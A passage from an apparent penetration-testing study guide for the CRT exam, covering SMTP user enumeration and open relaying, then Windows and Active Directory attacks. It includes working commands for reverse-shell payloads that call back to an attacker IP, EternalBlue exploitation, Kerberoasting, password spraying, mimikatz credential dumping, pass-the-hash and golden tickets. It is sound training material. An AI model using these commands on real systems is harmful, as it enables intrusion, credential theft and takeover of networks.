smtp-user-enum -M RCPT -U users.txt -t 10.10.10.50 # uses RCPT TO instead

# nmap
sudo nmap --script smtp-enum-users,smtp-commands,smtp-vuln-* -p 25 10.10.10.50

```

RCPT TO enumeration is the fall-back when VRFY/EXPN are disabled. The principle: send a **MAIL FROM**, then **RCPT TO:<user@target>**. The server accepts or rejects based on whether the user exists. Slower than VRFY but harder to disable.

5.19.3 Mail Relaying

An “open relay” is an SMTP server that accepts mail from anyone for delivery to anyone. Used for spam in the early internet, mostly closed off today.

```

sudo nmap --script smtp-open-relay -p 25 10.10.10.50

# Manual
nc -nv 10.10.10.50 25
EHLO test
MAIL FROM: <attacker@evil.com>
RCPT TO: <victim@external.com>
DATA
From: ceo@target.com
To: victim@external.com
Subject: Urgent

Phishing payload here.
.

```

A successful open relay is a finding - the organisation’s domain can be used to send spoofed mail.

5.19.4 Mail Server Vulnerabilities

Software	Notable vulnerabilities
Sendmail	Long history; well-patched today but check version.
Postfix	Generally robust. Check for misconfigurations.
Exim	CVE-2019-10149 (RCE via badly formed <code>MAIL FROM</code>), CVE-2019-15846 (TLS SNI heap overflow), CVE-2020-7982 (overflow in EHLO). Multiple critical vulns in 2019-2020.
Microsoft Exchange	ProxyLogon (CVE-2021-26855 + chain), ProxyShell (CVE-2021-34473 + chain), ProxyNotShell (CVE-2022-41040 + CVE-2022-41082). Major incidents 2021-2022.
Qmail	Largely abandoned, may have unfixed flaws on legacy hosts.

5.19.5 Exchange-Specific Enumeration

Exchange exposes several web endpoints in addition to SMTP:

- **OWA** (Outlook Web Access) - typically `/owa/`
- **EWS** (Exchange Web Services) - `/EWS/Exchange.asmx`
- **Autodiscover** - `/autodiscover/autodiscover.xml`
- **MAPI/HTTP** - `/mapi/`
- **ECP** (Exchange Control Panel) - `/ecp/`

Username enumeration via OWA timing attacks is a known technique. Tools: `MailSniper` (PowerShell), `o365creeper`, `kerbrute` (against the underlying AD).

```
# Test OWA / Autodiscover with kerbrute against the underlying AD
kerbrute userenum --dc 10.10.10.10 -d corp.local users.txt
```

5.20 Section Summary

This chapter covered every service category in Appendix D. Before progressing, ensure you can fluently:

1. Test TLS/SSL configuration and identify weak ciphers, deprecated protocols, and known vulnerabilities (Heartbleed, POODLE, FREAK, etc.)
2. Capture credentials in cleartext from FTP, Telnet, SMTP, POP3, IMAP, HTTP Basic, SNMP v1/v2c, and LDAP simple bind
3. Run Responder to capture NetNTLMv2 hashes and pass them to ntlmrelayx for relay
4. Enumerate SMB null sessions, list shares, perform RID cycling, dump SAM via `secretsdump`
5. Enumerate LDAP/AD with `ldapsearch` and `windapsearch`
6. Walk SNMP MIBs, identify users/processes/network config, and use SNMP RW community to grab Cisco configs via TFTP
7. Mount NFS exports, identify `no_root_squash` misconfigurations, and exploit them
8. Enumerate SMTP for users via VRFY/EXPN/RCPT TO

The next chapter moves on to Windows-specific assessment, including the high-value Desktop Lockdown topic.

Part 6: Microsoft Windows Security Assessment (Appendix E - PT006/007)

This chapter covers Windows-specific assessment skills. The CRT v2.0 syllabus splits this across PT006 (Windows network reconnaissance and enumeration) and PT007 (specific Windows attacks and post-exploitation). They are presented together here.

The chapter culminates in **Windows Desktop Lockdown** - a 20-mark sub-section that requires you to break out of a kiosk-style locked-down desktop session using nothing but tools already present on the host.

6.1 Windows Network Reconnaissance (E1)

Identifying which hosts on a network are Windows is the first step. Several signatures distinguish Windows from other operating systems:

Port profile: Windows hosts characteristically expose:

- **TCP/135** - Microsoft RPC Endpoint Mapper
- **TCP/139** - NetBIOS Session Service (legacy)
- **TCP/445** - SMB direct
- **TCP/3389** - RDP (often)
- **TCP/5985 / 5986** - WinRM (often)
- **UDP/137** - NetBIOS Name Service
- **UDP/138** - NetBIOS Datagram Service

A host with TCP/135 + TCP/445 open is almost certainly Windows or Samba on Linux. SMB negotiation discloses which.

TTL: Windows defaults to TTL 128 (Linux/Unix is typically 64).

SMB OS discovery:

```
sudo nmap --script smb-os-discovery,smb-protocols -p 445 10.10.10.50
```

Output discloses:

```
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: DC01
| NetBIOS computer name: DC01\x00
| Domain name: corp.local
| Forest name: corp.local
| FQDN: DC01.corp.local
|_ System time: 2025-04-25T14:17:42+01:00
```

Enumerate the entire subnet:

```
# Quick way to find Windows hosts
sudo nmap -sS -p 445 --open 10.10.10.0/24

# Then identify each
sudo nmap -p 445 --script smb-os-discovery $(grep -B4 "445/tcp open" scan.nmap | grep "scan report" | awk '{print $5}')
```

6.1.1 Identifying Domain Controllers

Domain Controllers expose specific services. The unmistakable signatures:

- **TCP/88** - Kerberos
- **TCP/389** - LDAP
- **TCP/636** - LDAPS
- **TCP/3268** - Global Catalog (LDAP)
- **TCP/3269** - Global Catalog (LDAPS)
- **DNS SRV records** - `_ldap._tcp.dc._msdcs.<domain>`, `_kerberos._tcp.<domain>`

```
# DNS-based DC discovery (when you know the domain)
dig SRV _ldap._tcp.dc._msdcs.corp.local @10.10.10.10
dig SRV _kerberos._tcp.corp.local @10.10.10.10

# nmap port profile
sudo nmap -p 88,389,445,636,3268,3269 --open 10.10.10.0/24
```

A host running Kerberos (TCP/88) AND LDAP (TCP/389) is a Domain Controller. The forest and domain name come from the SMB OS discovery script above.

6.1.2 Identifying Workgroup vs Domain

The SMB OS discovery output includes `Domain name`. Two possibilities:

- **Domain:** `Domain name: CORP` and `FQDN: HOST.corp.local` - the host is domain-joined
- **Workgroup:** `Domain name: WORKGROUP` and FQDN equals the bare hostname - the host is a workgroup member (standalone)

Workgroup hosts have only local user accounts. Domain hosts have local accounts AND respect domain accounts.

6.2 Active Directory Enumeration (E2)

Once at least one domain controller is identified, AD enumeration begins. The principle: AD is queryable via LDAP, and even with a low-privileged domain account you can enumerate vast amounts of information.

6.2.1 Enumeration with Credentials

The standard tools have already been introduced:

```
# windapsearch - the easiest entry point
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' -U
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' -G
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' -C
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' --da
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' --privileged-users
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' --gpos
windapsearch -d corp.local --dc-ip 10.10.10.10 -u jdoe -p 'Password123!' --trusts

# CrackMapExec / NetExec
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --users
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --groups
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --pass-pol
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --loggedon-users
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --rid-brute

# ldapsearch (lower-level, useful for targeted queries)
ldapsearch -x -H ldap://10.10.10.10 -D 'CORP\jdoe' -w 'Password123!' \
  -b "DC=corp,DC=local" "(&(objectCategory=person)(objectClass=user))" \
  sAMAccountName description memberOf
```

6.2.2 BloodHound

BloodHound is a graphical AD attack-path mapping tool. It ingests data collected by **SharpHound** (Windows binary) or **bloodhound-python** (Linux), builds a Neo4j graph of users, computers, groups, and permissions, then runs queries to identify attack paths.

```
# Linux collector (no Windows host needed)
bloodhound-python -u jdoe -p 'Password123!' -d corp.local -ns 10.10.10.10 -c All

# This produces JSON files: users.json, groups.json, computers.json, etc.
# Import into BloodHound (the Java GUI):
neo4j start
bloodhound &

# In the GUI: drag JSON files into the window
```

In BloodHound, click “Mark User as Owned” on the user you control, then run “Shortest Path from Owned” to see attack paths to Domain Admin. Key built-in queries:

- “Find Shortest Paths to Domain Admins”
- “Find Computers where Domain Users are Local Admin”
- “Find Kerberoastable Users”
- “Find AS-REP Roastable Users”
- “Find Computers with Unconstrained Delegation”
- “Find Workstations where Domain Admins Logon”

For the CRT this is overkill but useful for understanding privilege relationships.

6.2.3 Service Principal Names (SPNs)

A Service Principal Name is an entry in AD that identifies a service for Kerberos. Format: `<service>/<host>:<port>/<servicename>`. Example: `MSSQLSvc/sqlserver01.corp.local:1433`.

When a user account is configured to run a service (rather than the typical computer account), it is given an SPN. These accounts are vulnerable to **Kerberoasting**: any authenticated user can request a Kerberos service ticket for any SPN, and the ticket contains a portion encrypted with the service account’s NTLM hash. The hash is then crackable offline.

```
# Enumerate SPNs
impacket-GetUserSPNs -dc-ip 10.10.10.10 corp.local/jdoe:'Password123!'

# Sample output:
ServicePrincipalName      Name      MemberOf      PasswordLastSet
-----
MSSQLSvc/sql.corp.local  sqlservice  CN=Domain Admins,CN=Users,DC=corp,DC=local  2024-01-15 09:42:11

# Request the tickets and dump as crackable hashes
impacket-GetUserSPNs -dc-ip 10.10.10.10 corp.local/jdoe:'Password123!' -request -outputfile spn_hashes.txt

# The output file contains $krb5tgs$23$ entries
# Crack with hashcat (mode 13100)
hashcat -m 13100 spn_hashes.txt /usr/share/wordlists/rockyou.txt
```

6.2.4 AS-REP Roasting

Users with `DONT_REQ_PREAUTH` set on their account do not require Kerberos pre-authentication. This means anyone can request an AS-REP for them (without knowing their password), and the AS-REP contains material encrypted with the user's hash - again crackable offline.

```
# Enumerate users with DONT_REQ_PREAUTH (no creds needed - this is the headline)
impacket-GetNPUsers -dc-ip 10.10.10.10 corp.local/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# With a known user account, find DONT_REQ_PREAUTH users via LDAP
impacket-GetNPUsers -dc-ip 10.10.10.10 corp.local/jdoe:'Password123!' -request -format hashcat -outputfile asrep.txt

# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

6.2.5 Password Policies

```
# Via SMB
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' --pass-pol

# Sample:
SMB      10.10.10.10  445    DC01    [+] corp.local\jdoe:Password123!
SMB      10.10.10.10  445    DC01    [+] Dumping password info for domain: CORP
SMB      10.10.10.10  445    DC01    Minimum password length: 7
SMB      10.10.10.10  445    DC01    Password history length: 24
SMB      10.10.10.10  445    DC01    Maximum password age: 42 days 0 hours 0 minutes
SMB      10.10.10.10  445    DC01    Password Complexity Flags: 000001
SMB      10.10.10.10  445    DC01    Account lockout threshold: 5
SMB      10.10.10.10  445    DC01    Account lockout duration: 30 minutes
SMB      10.10.10.10  445    DC01    Reset Account Lockout Counter: 30 minutes

# Via rpcclient
rpcclient -U "jdoe%Password123!" 10.10.10.10
rpcclient $> getdowmpwinfo
```

The password policy informs your password spraying strategy. Lockout threshold 5 means you can try 4 passwords per user before risking lockout. Always check before spraying.

6.2.6 Password Spraying

Rather than trying many passwords against one user (which gets locked out), try one password against many users. This avoids lockout while having a high probability of finding at least one weak account.

```
# Generate a list of usernames first (RID cycling, LDAP enum, OSINT)

# Spray
nxc smb 10.10.10.10 -u users.txt -p 'Spring2025!' --continue-on-success

# kerbrute (more efficient, doesn't lock accounts on failure due to Kerberos)
kerbrute passwordspray --dc 10.10.10.10 -d corp.local users.txt 'Spring2025!'

# Common passwords to try, in order:
# - <Season><Year>! (Spring2025!, Summer2025!)
# - Welcome1, Welcome123!, Welcome2025!
# - Password1, Password123, Password2025!
# - Company-specific (e.g., CompanyName1!, CompanyName2025!)
# - Default service account names as both username and password
```

6.3 Windows Network Enumeration via NetBIOS, LDAP, SNMP, RID (E3)

Already covered above (NetBIOS in section 5.12, LDAP in section 6.2, SNMP in section 5.10, RID cycling in section 5.12.4). The cross-reference exists because the syllabus calls these out together as Windows network enumeration techniques.

6.4 Registry (E4)

The Windows Registry is the central configuration store. Hierarchical, with several “hives”:

Hive	Purpose	File
HKEY_LOCAL_MACHINE (HKLM)	System-wide config	C:\Windows\System32\config*
HKEY_CURRENT_USER (HKCU)	Current user's config	C:\Users\<user>\NTUSER.DAT
HKEY_USERS (HKU)	All loaded users	(above)
HKEY_CLASSES_ROOT (HKCR)	File associations	(subkey of HKLM)
HKEY_CURRENT_CONFIG (HKCC)	Current hardware profile	(subkey of HKLM)

The on-disk hive files of interest to a tester:

- **SAM** - local user account hashes
- **SYSTEM** - boot key, services, scheduled tasks
- **SECURITY** - LSA secrets, cached credentials
- **SOFTWARE** - installed software, configuration
- **NTUSER.DAT** - per-user config

When you have local admin and SYSTEM-level access, you can read these directly. With less privilege, you can only read keys the ACL permits.

6.4.1 Registry Reading

```
# Local query (cmd)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
reg query HKLM\SYSTEM\CurrentControlSet\Services
reg query HKCU\Software\SimonTatham\PuTTY\Sessions # PuTTY saved sessions
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password # VNC password (if set in registry)
```

```
# PowerShell
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
```

6.4.2 Registry Locations of Interest

Common locations storing recoverable credentials or interesting data:

Key	What
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	Programmes started at login (admin)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run	Programmes started at login (user)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon	DefaultUserName , DefaultPassword (autologon)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	UAC settings (EnableLUA , LocalAccountTokenFilterPolicy)
HKLM\SYSTEM\CurrentControlSet\Services	Service configuration including binary paths
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	Installed software list
HKCU\Software\SimonTatham\PuTTY\Sessions	PuTTY saved sessions (host, user, port)
HKCU\Software\Microsoft\Terminal Server Client\Default	Recent RDP connections
HKLM\SOFTWARE\OpenSSH	OpenSSH server config
HKLM\SOFTWARE\TightVNC\Server	TightVNC password (encoded)

6.4.3 Weak Registry ACL Privilege Escalation

When a service binary is referenced from a registry key with weak ACLs, an attacker can replace the binary path:

```
# Find services with writable registry config
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\* | Where-Object {
    ($_.AccessToString -match "BUILTIN\Users.*FullControl") -or
    ($_.AccessToString -match "Everyone.*FullControl")
}

# More comprehensive: PowerUp does this automatically
. .\PowerUp.ps1
Get-ModifiableServiceFile
Get-ModifiableService
Invoke-AllChecks
```

6.5 Windows File Permissions (E5)

NTFS permissions are richer than POSIX. The relevant ACEs (Access Control Entries):

- **Full Control** - everything
- **Modify** - read, write, delete
- **Read & Execute** - read, run executables
- **Read** - read content and metadata
- **Write** - write but not delete
- **Special Permissions** - granular

Service binaries with weak NTFS permissions are a classic Windows privilege escalation:

```
# Find services where the binary is writable by a non-admin
icacls "C:\Program Files\VulnerableApp\service.exe"

# Modern PowerShell
Get-Acl "C:\Program Files\VulnerableApp\service.exe" | Format-List

# PowerUp helper
. .\PowerUp.ps1
Get-ModifiableServiceFile
```

If **BUILTIN\Users** or **Everyone** has Modify or Write on a service binary, a low-privilege user can replace it. When the service restarts (or on reboot), the replacement runs with the service's privileges (often SYSTEM).

```
# Generate a malicious service binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe-service -o service.exe

# Replace the original (back it up first if you might need to restore)
Copy-Item service.exe "C:\Program Files\VulnerableApp\service.exe" -Force

# Restart the service or wait for next boot
Restart-Service VulnerableApp
```

6.5.1 The “Unquoted Service Path” Vulnerability

When a service binary path contains spaces and is not quoted, Windows interprets the path ambiguously. For example:

```
ImagePath = C:\Program Files\Vulnerable App\service.exe
```

Windows tries each of these in order:

1. **C:\Program.exe**
2. **C:\Program Files\Vulnerable.exe**
3. **C:\Program Files\Vulnerable App\service.exe**

If a low-privilege user can write **C:\Program.exe** or **C:\Program Files\Vulnerable.exe**, that file runs as SYSTEM when the service starts.

```
# Find unquoted paths
wmic service get name, displayname, pathname, startmode | findstr /i /v "C:\Windows" | findstr /i /v ""

# Modern equivalent
Get-WmiObject -Class Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and $_.PathName -match ' '
} | Select-Object Name, DisplayName, PathName, StartMode

# PowerUp
Get-UnquotedService
```

6.6 Windows Remote Exploitation (E6)

Major remote exploits to know:

Vulnerability	CVE	Affected	Notes
MS08-067	CVE-2008-4250	XP, 2000, 2003	Conficker. Pre-auth RCE in NetAPI.
MS17-010 (EternalBlue)	CVE-2017-0143-0148	Vista to 2016 (pre-patch)	SMBv1 pool overflow. WannaCry, NotPetya.
BlueKeep	CVE-2019-0708	XP, 7, 2003, 2008, 2008 R2	Pre-auth RCE in RDP.
DejaBlue	CVE-2019-1181, 1182, 1222, 1226	Win 7+	RDP RCE post-BlueKeep patch.
SMBGhost	CVE-2020-0796	Win 10 1903/1909	SMBv3 compression integer overflow.
ZeroLogon	CVE-2020-1472	Pre-Aug 2020 patch DCs	Netlogon AES-CFB8 IV vulnerability. Set DC machine password to empty.
PrintNightmare	CVE-2021-1675 / CVE-2021-34527	All Windows	Print Spooler RCE.
PetitPotam	CVE-2021-36942	All Windows	Coerce DC into NTLM auth via EFSRPC.
ProxyLogon	CVE-2021-26855 + chain	Exchange 2013/2016/2019	SSRF + arbitrary file write -> RCE as SYSTEM.
ProxyShell	CVE-2021-34473/34523/31207	Exchange 2013/2016/2019	Path confusion + privesc + arbitrary file write.
ProxyNotShell	CVE-2022-41040 + 41082	Exchange 2013/2016/2019	SSRF + RCE.

For exam purposes, the high-probability appearances are:

- **MS17-010 (EternalBlue):** Metasploit `exploit/windows/smb/ms17_010_eternalblue` is reliable. Detection: `nmap --script smb-vuln-ms17-010 -p 445`.
- **BlueKeep:** less likely (patched widely).
- **PrintNightmare:** still occasionally encountered.
- **ZeroLogon:** low probability against well-maintained DCs but devastating when present.

```
# EternalBlue exploitation
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.50
set LHOST <your-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

6.7 Windows Processes and DLL Hijacking (E7)

When a process loads a DLL by name (rather than absolute path), Windows searches a predictable order. If the attacker can write a DLL with the right name in an earlier search location, it loads instead of the legitimate one.

The DLL search order on modern Windows (when SafeDllSearchMode is enabled, the default):

1. The directory containing the EXE
2. System directory (`C:\Windows\System32`)
3. 16-bit system directory
4. Windows directory
5. Current directory
6. Directories in the PATH

If `SafeDllSearchMode` is disabled, the current directory moves to position 2.

For an attacker to exploit DLL hijacking, they need:

- Write access to a directory in the search order before the legitimate DLL
- The target binary to load the DLL by name with no path

```
# Process Monitor (Sysinternals) is the standard tool to find DLL hijacks
# Filter: Operation = CreateFile + Path ends with .dll + Result != SUCCESS
# Each NAME NOT FOUND DLL load is a candidate.

# PowerUp helper
Get-ModifiableServiceFile
Find-PathDLLHijack
```

Once a candidate DLL is identified, generate a malicious replacement:

```
# msfvenom can produce DLL payloads
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o evil.dll
```

Place the DLL in the writable directory in the search order, trigger the target binary, and the DLL's `DllMain` runs.

6.8 Windows Passwords (E8)

This is a foundational topic with multiple sub-areas. Windows uses several different password / credential storage mechanisms:

6.8.1 LM Hash

The legacy LAN Manager hash. Algorithm:

1. Convert password to uppercase
2. Pad/truncate to 14 characters
3. Split into two 7-character halves
4. Use each half as a DES key to encrypt the constant string `KGS!@#$$`
5. Concatenate the two ciphertexts -> 16-byte LM hash

Catastrophically weak: DES with 7-character keys is brute-forced in seconds. The empty LM hash is `aad3b435b51404eeaad3b435b51404ee`.

Modern Windows (Vista+) does not store LM hashes by default but the field is still present in the SAM. When you see `aad3b435b51404eeaad3b435b51404ee` in the LM column, the LM hash is empty/disabled.

Hashcat mode: 3000.

6.8.2 NTLM Hash (also called “NT Hash”)

The current local password hash. Algorithm: MD4 of the UTF-16-LE-encoded password. No salt.

`NTLM_hash = MD4(UTF16-LE(password))`

This is what is stored in the SAM and is what `secretsdump.py` extracts. The NTLM hash itself is the credential - if you have it, you can use it directly via pass-the-hash without ever cracking it.

Hashcat mode: 1000.

The empty NTLM hash is `31d6cfe0d16ae931b73c59d7e0c089c0` (= MD4 of empty string in UTF-16-LE). Always check for blank passwords.

6.8.3 NetNTLMv1 (LM Response / NT Response)

The challenge-response protocol used by NTLMv1 authentication over the network. The server sends an 8-byte challenge; the client encrypts it three times with three slices of the user's NTLM hash; the server verifies.

Cracked offline against the captured `<challenge>:<response>` pair. Crackable to plaintext with sufficient compute, or to the underlying NT hash (which is then usable for pass-the-hash) via the `crack.sh` rainbow service.

Hashcat mode: 5500.

6.8.4 NetNTLMv2

The current network challenge-response (introduced in Windows 2000). Uses HMAC-MD5 with a per-session salt. Substantially stronger than v1. Captured form looks like:

```
Username::Domain:Challenge:HMACResponse:BlobData
```

Captured by Responder when LLMNR/NBT-NS is poisoned. Crackable offline.

Hashcat mode: 5600.

6.8.5 Kerberos: TGT and TGS

Active Directory's primary authentication is Kerberos. The Kerberos hash forms encountered:

- **Kerberos AS-REP** (AS-REP roasting target): `$krb5asrep$23$user@DOMAIN:checksum$enc_data`. Hashcat mode 18200.
- **Kerberos TGS-REP** (Kerberoast target): `$krb5tgs$23*$user$DOMAIN$spn*$checksum$enc_data`. Hashcat mode 13100 (RC4) or 19700 (AES256).

6.8.6 Cached Domain Credentials (DCC2 / MSCash2)

When a user logs into a domain-joined host that cannot reach a DC (e.g., laptop offline), the cached credential is used. Stored as MSCash2 (DCC2) - a salted PBKDF2-style derivation. Slower to crack than NTLM.

Hashcat mode: 2100.

Extracted via `secretsdump.py -security <SECURITY hive>`.

6.8.7 Where Hashes Are Stored

Storage	Contents	Tool to extract
C:\Windows\System32\config\SAM	Local user NTLM hashes	secretsdump -sam SAM -system SYSTEM LOCAL
C:\Windows\System32\config\SECURITY	LSA secrets, cached domain logons	secretsdump -security SECURITY -system SYSTEM LOCAL
C:\Windows\NTDS\NTDS.dit	All AD account hashes	secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
LSASS process memory	All current session credentials (NTLM, Kerberos TGTs, sometimes plaintext)	mimikatz, lsassy, nanodump
DPAPI vault	Browser passwords, credential manager	mimikatz

6.8.8 Offline Cracking with Hashcat and John

```
# NTLM
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hash.txt -a 3 ?u?l?l?l?l?d?d # mask attack: Aaaaaa11

# NetNTLMv2
hashcat -m 5600 capture.txt rockyou.txt -r best64.rule

# Kerberoast (RC4)
hashcat -m 13100 spn.txt rockyou.txt

# AS-REP
hashcat -m 18200 asrep.txt rockyou.txt

# DCC2
hashcat -m 2100 dcc2.txt rockyou.txt

# John equivalents
john --format=NT hash.txt --wordlist=rockyou.txt
john --format=netntlmv2 capture.txt --wordlist=rockyou.txt
john --format=krb5tgs spn.txt --wordlist=rockyou.txt
```

6.8.9 Rainbow Tables

Pre-computed hash chains. Practical for unsalted hashes (LM, NTLM). Largely obsolete for NTLM because GPU-accelerated brute force is faster than table lookup for short passwords, but still occasionally useful.

The classic Rainbow Crack project; modern alternatives use `crack.sh` for NTLM (online).

6.9 Windows Post-Exploitation (E9)

The standard post-exploitation workflow on a freshly compromised Windows host:

6.9.1 Initial Situational Awareness

```

whoami
whoami /all
whoami /priv
whoami /groups

hostname
systeminfo

ipconfig /all
route print
arp -a
netstat -anob

net user
net localgroup
net localgroup administrators

net user /domain
net group /domain
net group "Domain Admins" /domain

# Logged-on users
qwinsta
query user

# Patches (mining for missing privesc patches)
wmic qfe list brief
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

# Programmes
wmic product get name, version
dir "C:\Program Files"
dir "C:\Program Files (x86)"

# Running processes
tasklist /v
tasklist /svc

```

PowerShell equivalents:

```

$env:USERNAME
$env:USERDOMAIN
[System.Security.Principal.WindowsIdentity]::GetCurrent()
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators

Get-Process | Sort-Object CPU -Descending | Select-Object -First 20
Get-Service | Where-Object {$_.Status -eq "Running"}
Get-NetTCPConnection -State Listen
Get-WmiObject Win32_Product
Get-CimInstance Win32_QuickFixEngineering

```

6.9.2 Automated Enumeration: WinPEAS, Seatbelt, PowerUp

WinPEAS is the Windows equivalent of LinPEAS. Comprehensive enumeration in a single binary:

```

# Upload winpeas.exe via your file transfer of choice
winPEASx64.exe           # full output
winPEASx64.exe systeminfo # only system info
winPEASx64.exe userinfo
winPEASx64.exe servicesinfo
winPEASx64.exe applicationsinfo
winPEASx64.exe networkinfo
winPEASx64.exe windowscreds

```

Seatbelt (.NET binary by GhostPack) similar coverage, more selective:

```

Seatbelt.exe -group=all
Seatbelt.exe LSASettings ProcessTokens

```

PowerUp.ps1 focuses specifically on privesc paths:

```

. .\PowerUp.ps1
Invoke-AllChecks

```

6.9.3 Credential Extraction

Once you have local admin (or SYSTEM):

```
# Remote (impacket)
impacket-secretsdump CORP/administrator:'Password123!'@10.10.10.50

# Output sections (in order):
# - SAM hashes (local accounts)
# - LSA secrets ($MACHINE.ACC, DPAPI_SYSTEM, NL$KM)
# - Cached domain logons (DCC2 hashes)
# - And on a DC: NTDS.dit dump

# DCSync against a DC (requires Replicating Directory Changes privilege)
impacket-secretsdump -just-dc-ntlm CORP/administrator:'Password123!'@10.10.10.10
```

```
# On the host - mimikatz
mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets
mimikatz # lsadump::sam
mimikatz # lsadump::lsa /patch
mimikatz # lsadump::cache
mimikatz # lsadump::dcsync /user:CORP\krbtgt
mimikatz # lsadump::dcsync /user:CORP\Administrator
mimikatz # vault::cred
mimikatz # vault::list

# if not already SYSTEM
# dump LSASS
# Kerberos tickets
# local SAM
# LSA secrets
# cached domain logons
# remote DCSync
# credential vault
```

LSASSY does mimikatz-style LSASS dumps over the wire from Linux:

```
nxc smb 10.10.10.50 -u administrator -p 'Password123!' -M lsassy
```

6.9.4 Lateral Movement

With credentials/hashes:

```
# Pass the password
impacket-psexec CORP/administrator:'Password123!'@10.10.10.51
impacket-wmiexec CORP/administrator:'Password123!'@10.10.10.51
impacket-smbexec CORP/administrator:'Password123!'@10.10.10.51
evil-winrm -i 10.10.10.51 -u administrator -p 'Password123!'

# Pass the hash
impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.51
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.51
evil-winrm -i 10.10.10.51 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

# Pass the ticket (Kerberos)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass administrator@host.corp.local
```

To find which hosts a given credential set works on (the standard “spray locally and identify lateral movement candidates”):

```
# Sweep an entire subnet with one credential, looking for success
nxc smb 10.10.10.0/24 -u administrator -p 'Password123!' --continue-on-success

# Same with a hash
nxc smb 10.10.10.0/24 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --continue-on-success
```

The `[+]` lines indicate authentication success. The `(Pwn3d!)` annotation indicates local admin (SMB share access plus file operations).

6.9.5 Forging Tickets - Golden and Silver

These are advanced techniques less likely on the CRT but in the syllabus by implication:

- **Golden Ticket** - forged Kerberos TGT signed with the `krbtgt` account's NTLM hash. Allows impersonation of any user, including those that do not exist. Requires `krbtgt` hash (obtainable via DCSync).
- **Silver Ticket** - forged TGS for a specific service. Requires the service account's NTLM hash. Limited in scope (one service) but harder to detect than Golden.

```
# mimikatz golden ticket
kerberos::golden /user:fakeuser /domain:corp.local /sid:S-1-5-21-... /krbtgt:*krbtgt-NTLM /id:500 /ptt
```

```
# Impacket equivalent
impacket-ticketer -nthash <krbtgt-hash> -domain-sid S-1-5-21-... -domain corp.local fakeuser
export KRB5CCNAME=fakeuser.ccache
impacket-psexec -k -no-pass corp.local/fakeuser@dc01.corp.local
```

6.9.6 Patch Level Identification

```
systeminfo # OS version + recent KBs at top
wmic qfe list brief # patches list
```

Use **Watson** (compiled .NET) or **Sherlock.ps1** to map missing patches to public exploits:

```
Watson.exe # auto-identify exploitable missing patches
```

6.9.7 Reversion and Cleanup (Out of Scope for CRT but Worth Knowing)

In a real engagement: revert any changes, remove implants, restore overwritten files, remove created accounts. CRT exam targets are reset between attempts so this is not directly assessed.

6.10 Windows Local Exploitation / Privilege Escalation (E10)

The major Windows privilege escalation paths to know:

6.10.1 Service Misconfiguration

Already covered in section 6.5 (file permissions) and 6.4.3 (registry permissions). Plus:

- Services running as SYSTEM with unquoted paths
- Services running as SYSTEM with weak service ACLs (you can edit the service config)
- Services running as a high-privilege user where you can manipulate the binary

```
# Check service ACLs
sc sdshow servicename

# Modify a service's binary path (requires sufficient ACL)
sc config servicename binPath= "cmd.exe /c net localgroup administrators jdoe /add"
sc start servicename
```

6.10.2 AlwaysInstallElevated

A registry policy that, if both per-machine and per-user keys are set to 1, causes any MSI to be installed with SYSTEM privileges:

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both = 1:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o malicious.msi
msiexec /quiet /qn /i malicious.msi
```

6.10.3 Token Impersonation (SeImpersonatePrivilege)

If your account holds **SeImpersonatePrivilege** (held by IIS application pool identity, MSSQL service accounts, and similar), you can impersonate other tokens. The exploitation tools collectively known as the “Potato” family chain this:

